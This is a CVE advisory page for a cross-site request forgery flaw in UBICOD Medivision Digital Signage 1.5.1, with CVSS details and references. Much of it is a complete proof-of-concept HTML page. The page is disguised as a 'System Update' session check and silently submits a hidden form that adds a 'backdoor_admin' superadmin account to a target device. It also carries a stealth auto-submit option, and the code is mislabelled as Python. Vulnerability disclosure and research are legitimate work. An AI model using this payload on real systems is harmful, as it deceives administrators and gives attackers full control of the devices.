CVE-2020-36901

Description

UBICOD Medivision Digital Signage 1.5.1 contains a cross-site request forgery vulnerability that allows attackers to create administrative user accounts without proper request validation. Attackers can craft a malicious web page that submits a form to the /query/user/itSet endpoint to add a new admin user with elevated privileges.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:medivision:medivision_digital_signage_firmware:1.5.1:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:medivision:medivision_digital_signage:-:*:*:*:*:*:*:* - NOT VULNERABLE

UBICOD Medivision Digital Signage 1.5.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html> <html> <head> <title>Digital Signage System - Admin Access</title> <style> body { font-family: Arial, sans-serif; background: #f0f0f0; padding: 20px; } .exploit-container { max-width: 600px; margin: 50px auto; padding: 20px; background: white; border-radius: 5px; box-shadow: 0 2px 5px rgba(0,0,0,0.1); } h2 { color: #333; } .status { margin-top: 15px; padding: 10px; border-radius: 3px; display: none; } .success { background: #d4edda; color: #155724; } .error { background: #f8d7da; color: #721c24; } </style> </head> <body> <div class="exploit-container"> <h2>Medivision Digital Signage - System Update</h2> <p>Your administrator session requires verification for continued access.</p>  <form id="csrfForm" action="http://TARGET_HOST/query/user/itSet" method="POST" style="display:none;"> <input type="hidden" name="username" value="backdoor_admin"> <input type="hidden" name="password" value="P@ssw0rd123!"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="role" value="superadmin"> <input type="hidden" name="status" value="active"> </form> <div id="statusMessage" class="status"></div> <button onclick="submitExploit()" style="padding: 10px 20px; margin-top: 10px;">Verify Session</button> </div> <script> function submitExploit() { var form = document.getElementById('csrfForm'); var statusDiv = document.getElementById('statusMessage'); // Submit the CSRF form try { form.submit(); statusDiv.className = 'status success'; statusDiv.style.display = 'block'; statusDiv.innerHTML = 'Verification request sent successfully. Check your email for confirmation.'; } catch(e) { statusDiv.className = 'status error'; statusDiv.style.display = 'block'; statusDiv.innerHTML = 'Verification failed. Please contact administrator.'; } } // Auto-submit on page load (optional, commented out for stealth) // window.onload = function() { setTimeout(submitExploit, 1000); }; </script> </body> </html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2020-36901
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2020-36901
[3] CVE Details https://www.cvedetails.com/cve/CVE-2020-36901/
[4] VulDB https://vuldb.com/cve/CVE-2020-36901
[5] http://www.medivision.co.kr
[6] https://www.exploit-db.com/exploits/48694
[7] https://www.vulncheck.com/advisories/ubicod-medivision-digital-signage-cross-site-request-forgery-via-user-management
[8] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5574.php
[9] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5574.php

Raw JSON Data

JSON

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